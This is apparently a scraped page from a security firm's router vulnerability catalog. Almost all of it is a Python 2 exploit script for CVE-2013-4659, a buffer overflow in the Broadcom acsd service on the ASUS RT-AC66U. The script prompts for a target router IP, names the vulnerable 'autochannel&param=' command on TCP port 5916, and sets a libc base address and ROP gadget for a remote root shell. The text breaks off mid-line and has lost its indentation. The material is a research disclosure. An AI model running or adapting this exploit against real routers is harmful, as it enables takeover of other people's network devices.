ISE SOHO Vulnerability Catalog Published - Independent Security ...

# The ASUS RT-­‐AC66U contains the Broadcom ACSD Wireless binary that is vulnerable to multiple
# Buffer Overflow attacks.
#
# Multiple overflows exist in the following software:
#
# -­‐ Broadcom acsd -­‐ Wirless Channel Service (autochannel&param, autochannel&data, csscan&ifname commands)
#
def sigHandle(signum, frm): # Signal handler
print "\n[!!!] Cleaning up the exploit... [!!!]\n"
sleep(1)
exit(0)
def targServer():
while True:
try:
server = inet_aton(raw_input("\n[*] Please enter the IPv4 address of the ASUS RT-­‐AC66U router:\n\n>"))
server = inet_ntoa(server)
break
except:
print "\n\n[!!!] Error: Please enter a valid IPv4 address. [!!!]\n\n"
sleep(1)
continue
return server
def main():
print ("""\n [*] Title: ASUS RT-­‐AC66U Remote Root Shell Exploit -­‐ acsd param command
[*] Discovered and Reported: June 2013
[*] Discovered/Exploited By: Jacob Holcomb/Gimppy and Jacob Thompson, Security Analysts @ ISE
[*] Software Vendor: http://asus.com
[*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
[*] Software: acsd wireless service (Listens on TCP/5916)
[*] Firmware Version: 3.0.0.4.266 (Other versions were not tested and may be vulnerable)
[*] CVE: ASUS RT-­‐AC66U Broadcom ACSD Buffer Overflow: CVE-­‐2013-­‐4659\n""")
signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c
victim = targServer()
port = int(5916)
acsdCmd = "autochannel&param=" #Vulnerable command -­‐ JH
# base address of .text section of libc.so.0 in acsd's address space
libc_base = 0x2ab25000
# ROP gadget #1
# lui s0,0x2
# li a0,1
# move t9,s1
# jalr t9
# ori a1,s0,0x2
ra1 = struct.pack("